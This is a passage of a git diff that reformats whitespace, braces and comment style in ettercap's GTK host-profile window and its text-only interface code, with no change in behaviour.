gtk_container_add(GTK_CONTAINER(dwindow), vbox); @@ -341,31 +337,31 @@ static void gtkui_profile_detail(void) /* Host Information */ label = gtk_label_new("Host Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&h->L3_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); if (GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->hostname); - if (!strcmp(h->hostname,"")) { + if (!strcmp(h->hostname, "")) { /* resolve the hostname (using the cache) */ if (host_iptoa(&h->L3_addr, h->hostname) == -E_NOMATCH) { gtk_label_set_text(GTK_LABEL(label), "resolving..."); @@ -375,14 +371,13 @@ static void gtkui_profile_detail(void) ro->widget = GTK_WIDGET(label); ro->ip = &h->L3_addr; detail_timer = g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else { + } else { gtk_label_set_text(GTK_LABEL(label), h->hostname); } } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #ifdef WITH_GEOIP @@ -390,12 +385,12 @@ static void gtkui_profile_detail(void) row++; label = gtk_label_new("Location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&h->L3_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #endif @@ -403,50 +398,50 @@ static void gtkui_profile_detail(void) row++; label = gtk_label_new("MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(h->L2_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); - + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); + row++; label = gtk_label_new("Manufacturer:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(manuf_search(h->L2_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } /* Connectivity information */ gtk_table_set_row_spacing(GTK_TABLE(table), row, 10); row++; label = gtk_label_new("Connectivity Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("Distance:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", h->distance))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); g_free(str); row++; label = gtk_label_new("Type:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); if (h->type & FP_GATEWAY) label = gtk_label_new("GATEWAY"); @@ -460,45 +455,45 @@ static void gtkui_profile_detail(void) label = gtk_label_new("unknown"); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); /* OS and service information */ gtk_table_set_row_spacing(GTK_TABLE(table), row, 10); row++; label = gtk_label_new("OS and Service Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); if (h->os) { row++; label = gtk_label_new("Observed OS:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->os); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } row++; label = gtk_label_new("Fingerprint:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->fingerprint); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); row++; label = gtk_label_new("Operating System:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); if (fingerprint_search(h->fingerprint, os) == E_SUCCESS) { label = gtk_label_new(os); @@ -508,29 +503,29 @@ static void gtkui_profile_detail(void) } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); LIST_FOREACH(o, &(h->open_ports_head), next) { row++; label = gtk_label_new("Fingerprint:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); str = g_strdup_printf("%s %d", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", ntohs(o->L4_addr)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 2, row, row + 1); g_free(str); - str = g_strdup_printf("%s [%s]", - service_search(o->L4_addr, o->L4_proto), - (o->banner) ? o->banner : ""); + str = g_strdup_printf("%s [%s]", + service_search(o->L4_addr, o->L4_proto), + (o->banner) ? o->banner : ""); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 2, col + 3, row, row + 1); g_free(str); LIST_FOREACH(u, &(o->users_list_head), next) { @@ -540,43 +535,41 @@ static void gtkui_profile_detail(void) else label = gtk_label_new("Account:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); str = g_strdup_printf("%s / %s (%s)", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); g_free(str); if (u->info) { row++; label = gtk_label_new("Info:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(u->info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } } } /* resize table to the actual size */ gtk_table_resize(GTK_TABLE(table), row, ncols); - hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CLOSE); - g_signal_connect_swapped(G_OBJECT(button), "clicked", - G_CALLBACK(gtkui_profile_detail_destroy), dwindow); + g_signal_connect_swapped(G_OBJECT(button), "clicked", + G_CALLBACK(gtkui_profile_detail_destroy), dwindow); gtk_box_pack_end(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_grab_focus(button); - - gtk_widget_show_all(dwindow); + gtk_widget_show_all(dwindow); } static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data) @@ -592,13 +585,13 @@ static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data) static void gtkui_profiles_local(void) { profile_purge_local(); - gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); + gtk_list_store_clear(GTK_LIST_STORE(ls_profiles)); } static void gtkui_profiles_remote(void) { profile_purge_remote(); - gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); + gtk_list_store_clear(GTK_LIST_STORE(ls_profiles)); } static void gtkui_profiles_convert(void) @@ -611,7 +604,7 @@ static void gtkui_profiles_convert(void) static void gtkui_profiles_dump(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("gtkui_profiles_dump"); @@ -620,7 +613,6 @@ static void gtkui_profiles_dump(void *dummy) SAFE_CALLOC(logfile, 50, sizeof(char)); gtkui_input("Log File :", logfile, 50, dump_profiles); - } static void dump_profiles(void) @@ -630,22 +622,22 @@ static void dump_profiles(void) gtkui_message("Profiles dumped to file"); } -static struct host_profile *gtkui_profile_selected(void) { +static struct host_profile *gtkui_profile_selected(void) +{ GtkTreeIter iter; GtkTreeModel *model; struct host_profile *h = NULL; - model = GTK_TREE_MODEL (ls_profiles); + model = GTK_TREE_MODEL(ls_profiles); - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 4, &h, -1); + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(selection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 4, &h, -1); } else - return(NULL); /* nothing is selected */ + return NULL; /* nothing is selected */ - return(h); + return h; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text.c b/src/interfaces/text/ec_text.c index 77000e91f..28f58b202 100644 --- a/src/interfaces/text/ec_text.c +++ b/src/interfaces/text/ec_text.c @@ -1,23 +1,23 @@ /* - ettercap -- text only GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- text only GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -32,9 +32,9 @@ #include #ifdef OS_WINDOWS - #include +#include #else - #include +#include #endif /* globals */ @@ -42,7 +42,6 @@ struct termios old_tc; struct termios new_tc; - /* proto */ void text_interface(void); @@ -64,7 +63,6 @@ static void text_visualization(void); /*******************************************/ - void set_text_interface(void) { struct ui_ops ops; @@ -82,9 +80,9 @@ void set_text_interface(void) ops.input = &text_input; ops.progress = &text_progress; ops.type = UI_TEXT; - + ui_register(&ops); - + /* * add the hook to dispatcher to print the * packets in the right format @@ -93,13 +91,13 @@ void set_text_interface(void) } /* - * set the terminal as non blocking + * set the terminal as non blocking */ static void text_init(void) { /* taken from readchar.c, by M. Andreoli (2000) */ - + tcgetattr(0, &old_tc); new_tc = old_tc; new_tc.c_lflag &= ~(ECHO | ICANON); /* raw output */ @@ -118,7 +116,7 @@ static void text_cleanup(void) ui_msg_flush(MSG_ALL); fprintf(stdout, "\n"); - + tcsetattr(0, TCSANOW, &old_tc); } @@ -134,7 +132,6 @@ static void text_msg(const char *msg) fflush(stdout); } - /* * print an error */ @@ -146,14 +143,13 @@ static void text_error(const char *msg) fflush(stdout); } - /* * handle a fatal error and exit */ static void text_fatal_error(const char *msg) { /* avoid implicit format bugs */ - fprintf(stdout, "\n"EC_COLOR_RED"FATAL: "EC_COLOR_END"%s\n\n", msg); + fprintf(stdout, "\n"EC_COLOR_RED "FATAL: "EC_COLOR_END "%s\n\n", msg); /* allow non buffered messages */ fflush(stdout); @@ -164,14 +160,13 @@ static void text_fatal_error(const char *msg) _exit(-1); } - /* * display the 'title' and get the 'input' from the user */ static void text_input(const char *title, char *input, size_t n, void (*callback)(void)) { char *p; - + /* display the title */ fprintf(stdout, "%s", title); fflush(stdout); @@ -180,8 +175,8 @@ static void text_input(const char *title, char *input, size_t n, void (*callback tcsetattr(0, TCSANOW, &old_tc); /* wipe the buffer */ - memset(input, 0, n); - + memset(input, 0, n); + /* get the user input */ fgets(input, n, stdin); @@ -189,18 +184,18 @@ static void text_input(const char *title, char *input, size_t n, void (*callback if ((p = strrchr(input, '\n')) != NULL) *p = '\0'; else { - /* - * eat the input until \n + /* + * eat the input until \n * this will happen if the user has entered * more chars than n */ - while(getc(stdin) != '\n'); + while (getc(stdin) != '\n') ; } /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); - /* + /* * call the supplied function * the callee is aware of the buffer to be used */ @@ -208,51 +203,51 @@ static void text_input(const char *title, char *input, size_t n, void (*callback callback(); } -/* - * implement the progress bar +/* + * implement the progress bar */ static int text_progress(char *title, int value, int max) { float percent; int i; - + /* variable not used */ - (void) title; - + (void)title; + /* calculate the percent */ - percent = (float)(value)*100/(max); - - /* - * we use stderr to avoid scrambling of - * logfile generated by: ./ettercap -T > logfile + percent = (float)(value) * 100 / (max); + + /* + * we use stderr to avoid scrambling of + * logfile generated by: ./ettercap -T > logfile */ - - switch(value % 4) { - case 0: - fprintf(stderr, "\r| |"); + + switch (value % 4) { + case 0: + fprintf(stderr, "\r| |"); break; - case 1: - fprintf(stderr, "\r/ |"); + case 1: + fprintf(stderr, "\r/ |"); break; - case 2: - fprintf(stderr, "\r- |"); + case 2: + fprintf(stderr, "\r- |"); break; - case 3: - fprintf(stderr, "\r\\ |"); + case 3: + fprintf(stderr, "\r\\ |"); break; } /* fill the bar */ - for (i=0; i < percent/2; i++) + for (i = 0; i < percent / 2; i++) fprintf(stderr, "="); fprintf(stderr, ">"); /* fill the empty part of the bar */ - for(; i < 50; i++) + for (; i < 50; i++) fprintf(stderr, " "); - - fprintf(stderr, "| %6.2f %%", percent ); + + fprintf(stderr, "| %6.2f %%", percent); fflush(stderr); @@ -260,11 +255,10 @@ static int text_progress(char *title, int value, int max) fprintf(stderr, "\r* |==================================================>| 100.00 %%\n\n"); return UI_PROGRESS_FINISHED; } - + return UI_PROGRESS_UPDATED; } - /* the interface */ void text_interface(void) @@ -272,15 +266,14 @@ void text_interface(void) struct plugin_list *plugin, *tmp; DEBUG_MSG("text_interface"); - + LIST_FOREACH_SAFE(plugin, &GBL_OPTIONS->plugins, next, tmp) { /* check if the specified plugin exists */ if (search_plugin(plugin->name) != E_SUCCESS) { plugin->exists = false; - USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", - plugin->name); + USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", + plugin->name); } - } /* build the list of active hosts */ @@ -288,42 +281,42 @@ void text_interface(void) /* start the mitm attack */ mitm_start(); - + /* start the sniffing method */ EXECUTE(GBL_SNIFF->start); - + /* it is difficult to be interactive while reading from file... */ if (!GBL_OPTIONS->read) { USER_MSG("\nText only Interface activated...\n"); USER_MSG("Hit 'h' for inline help\n\n"); } - + /* flush all the messages */ ui_msg_flush(MSG_ALL); - + /* if we have to activate a plugin */ if (!LIST_EMPTY(&GBL_OPTIONS->plugins)) { - /* - * execute the plugin and close the interface if + /* + * execute the plugin and close the interface if * the plugin was not found or it has completed * its execution */ LIST_FOREACH_SAFE(plugin, &GBL_OPTIONS->plugins, next, tmp) { - if (plugin->exists && text_plugin(plugin->name) != PLUGIN_RUNNING) - /* skip plugin */ - USER_MSG("Plugin '%s' can not be started - skipping!\n\n", - plugin->name); + if (plugin->exists && text_plugin(plugin->name) != PLUGIN_RUNNING) + /* skip plugin */ + USER_MSG("Plugin '%s' can not be started - skipping!\n\n", + plugin->name); } } /* neverending loop for user input */ LOOP { - + CANCELLATION_POINT(); - + /* if there is a pending char to be read */ if (ec_poll_in(fileno(stdin), 10) || ec_poll_buffer(GBL_OPTIONS->script)) { - + char ch = 0; /* get the input from the stdin or the buffer */ @@ -331,59 +324,56 @@ void text_interface(void) ch = getchar_buffer(&GBL_OPTIONS->script); else ch = getchar(); - - switch(ch) { - case 'H': - case 'h': - text_help(); - break; - case 'P': - case 'p': - text_run_plugin(); - break; - case 'F': - case 'f': - text_run_filter(); - break; - case 'S': - case 's': - text_stats(); - break; - case 'L': - case 'l': - text_hosts_list(); - break; - case 'V': - case 'v': - text_visualization(); - break; - case 'O': - case 'o': - text_profile_list(); - break; - case 'C': - case 'c': - text_connections(); - break; - case ' ': - text_stop_cont(); - break; - case 'Q': - case 'q': - USER_MSG("Closing text interface...\n\n"); - return; - break; + + switch (ch) { + case 'H': + case 'h': + text_help(); + break; + case 'P': + case 'p': + text_run_plugin(); + break; + case 'F': + case 'f': + text_run_filter(); + break; + case 'S': + case 's': + text_stats(); + break; + case 'L': + case 'l': + text_hosts_list(); + break; + case 'V': + case 'v': + text_visualization(); + break; + case 'O': + case 'o': + text_profile_list(); + break; + case 'C': + case 'c': + text_connections(); + break; + case ' ': + text_stop_cont(); + break; + case 'Q': + case 'q': + USER_MSG("Closing text interface...\n\n"); + return; + break; } - } /* print pending USER_MSG messages */ ui_msg_flush(INT_MAX); - } - + /* NOT REACHED */ - } /* print the help screen */ @@ -401,16 +391,16 @@ static void text_help(void) fprintf(stderr, " [] - stop/cont printing packets\n"); fprintf(stderr, " [qQ] - quit\n\n"); } - -/* + +/* * stops or continues to print packets * it is another way to control the -q option */ static void text_stop_cont(void) { - /* revert the quiet option */ - GBL_OPTIONS->quiet = (GBL_OPTIONS->quiet) ? 0 : 1; + /* revert the quiet option */ + GBL_OPTIONS->quiet = (GBL_OPTIONS->quiet) ? 0 : 1; if (GBL_OPTIONS->quiet) fprintf(stderr, "\nPacket visualization stopped...\n"); @@ -418,9 +408,8 @@ static void text_stop_cont(void) fprintf(stderr, "\nPacket visualization restarted...\n"); } - /* - * display a list of plugin, and prompt + * display a list of plugin, and prompt * the user for a plugin to run. */ static void text_run_plugin(void) @@ -433,36 +422,36 @@ static void text_run_plugin(void) fprintf(stderr, "Plugin support was not compiled in..."); return; #endif - + /* there are no plugins */ if (text_plugin("list") == -E_NOTFOUND) return; - + /* stop the visualization while the plugin interface is running */ if (!GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } - + /* print the messages created by text_plugin */ ui_msg_flush(MSG_ALL); - + /* repristinate the buffer input */ tcsetattr(0, TCSANOW, &old_tc); fprintf(stdout, "Plugin name (0 to quit): "); fflush(stdout); - + /* get the user input */ fgets(name, 20, stdin); /* trim the \n */ if ((p = strrchr(name, '\n')) != NULL) *p = '\0'; - + /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); - + if (!strcmp(name, "0")) { if (restore) text_stop_cont(); @@ -471,25 +460,25 @@ static void text_run_plugin(void) /* run the plugin */ text_plugin(name); - + /* continue the visualization */ if (restore) text_stop_cont(); - } - -static int text_print_filter_cb(struct filter_list *l, void *arg) { +static int text_print_filter_cb(struct filter_list *l, void *arg) +{ int *i = (int *)arg; fprintf(stdout, "[%d (%d)]: %s\n", (*i)++, l->enabled, l->name); return 1; } -static int text_toggle_filter_cb(struct filter_list *l, void *arg) { +static int text_toggle_filter_cb(struct filter_list *l, void *arg) +{ int *number = (int *)arg; if (!--(*number)) { /* we reached the item */ - l->enabled = ! l->enabled; + l->enabled = !l->enabled; return 0; /* no need to traverse the list any further */ } return 1; @@ -499,7 +488,8 @@ static int text_toggle_filter_cb(struct filter_list *l, void *arg) { * display the list of loaded filters and * allow the user to enable or disable them */ -static void text_run_filter(void) { +static void text_run_filter(void) +{ int restore = 0; /* stop the visualization while the plugin interface is running */ if (!GBL_OPTIONS->quiet) { @@ -509,7 +499,7 @@ static void text_run_filter(void) { ui_msg_flush(MSG_ALL); fprintf(stderr, "\nLoaded etterfilter scripts:\n\n"); - while(1) { + while (1) { char input[20]; int i = 1; int number = -1; @@ -517,23 +507,23 @@ static void text_run_filter(void) { /* repristinate the buffer input */ tcsetattr(0, TCSANOW, &old_tc); - filter_walk_list( text_print_filter_cb, &i ); + filter_walk_list(text_print_filter_cb, &i); int c; do { fprintf(stdout, "\nEnter a number to enable/disable filter (0 to quit): "); /* get the user input */ fgets(input, 19, stdin); number = -1; - c=sscanf(input, "%d", &number); - if(c!=1) + c = sscanf(input, "%d", &number); + if (c != 1) fprintf(stdout, "\nYou need to enter a number, please try again."); - } while(c!=1); + } while (c != 1); if (number == 0) { break; } else if (number > 0) { - filter_walk_list( text_toggle_filter_cb, &number ); + filter_walk_list(text_toggle_filter_cb, &number); } - }; + } /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); @@ -544,50 +534,49 @@ static void text_run_filter(void) { } /* - * print the interface statistics + * print the interface statistics */ static void text_stats(void) { DEBUG_MSG("text_stats (pcap) : %" PRIu64 " %" PRIu64 " %" PRIu64, - GBL_STATS->ps_recv, - GBL_STATS->ps_drop, - GBL_STATS->ps_ifdrop); - DEBUG_MSG("text_stats (BH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", - GBL_STATS->bh.rate_adv, GBL_STATS->bh.rate_worst, - GBL_STATS->bh.thru_adv, GBL_STATS->bh.thru_worst); - - DEBUG_MSG("text_stats (TH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", - GBL_STATS->th.rate_adv, GBL_STATS->th.rate_worst, - GBL_STATS->th.thru_adv, GBL_STATS->th.thru_worst); - - DEBUG_MSG("text_stats (queue) : %lu %lu", GBL_STATS->queue_curr, GBL_STATS->queue_max); - - + GBL_STATS->ps_recv, + GBL_STATS->ps_drop, + GBL_STATS->ps_ifdrop); + DEBUG_MSG("text_stats (BH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", + GBL_STATS->bh.rate_adv, GBL_STATS->bh.rate_worst, + GBL_STATS->bh.thru_adv, GBL_STATS->bh.thru_worst); + + DEBUG_MSG("text_stats (TH) : [%lu][%lu] p/s -- [%lu][%lu] b/s", + GBL_STATS->th.rate_adv, GBL_STATS->th.rate_worst, + GBL_STATS->th.thru_adv, GBL_STATS->th.thru_worst); + + DEBUG_MSG("text_stats (queue) : %lu %lu", GBL_STATS->queue_curr, GBL_STATS->queue_max); + fprintf(stdout, "\n Received packets : %8" PRIu64 "\n", GBL_STATS->ps_recv); - fprintf(stdout, " Dropped packets : %8" PRIu64 " %.2f %%\n", GBL_STATS->ps_drop, - (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0 ); - fprintf(stdout, " Forwarded : %8" PRIu64 " bytes: %8" PRIu64 "\n\n", + fprintf(stdout, " Dropped packets : %8" PRIu64 " %.2f %%\n", GBL_STATS->ps_drop, + (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0); + fprintf(stdout, " Forwarded : %8" PRIu64 " bytes: %8" PRIu64 "\n\n", GBL_STATS->ps_sent, GBL_STATS->bs_sent); - - fprintf(stdout, " Current queue len : %lu/%lu\n", GBL_STATS->queue_curr, GBL_STATS->queue_max); - fprintf(stdout, " Sampling rate : %d\n\n", GBL_CONF->sampling_rate); - - fprintf(stdout, " Bottom Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", - GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); - fprintf(stdout, " Top Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", - GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); - fprintf(stdout, " Interesting packets : %.2f %%\n\n", - (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0 ); - - fprintf(stdout, " Bottom Half packet rate : worst: %8lu adv: %8lu p/s\n", - GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); - fprintf(stdout, " Top Half packet rate : worst: %8lu adv: %8lu p/s\n\n", - GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); - - fprintf(stdout, " Bottom Half throughput : worst: %8lu 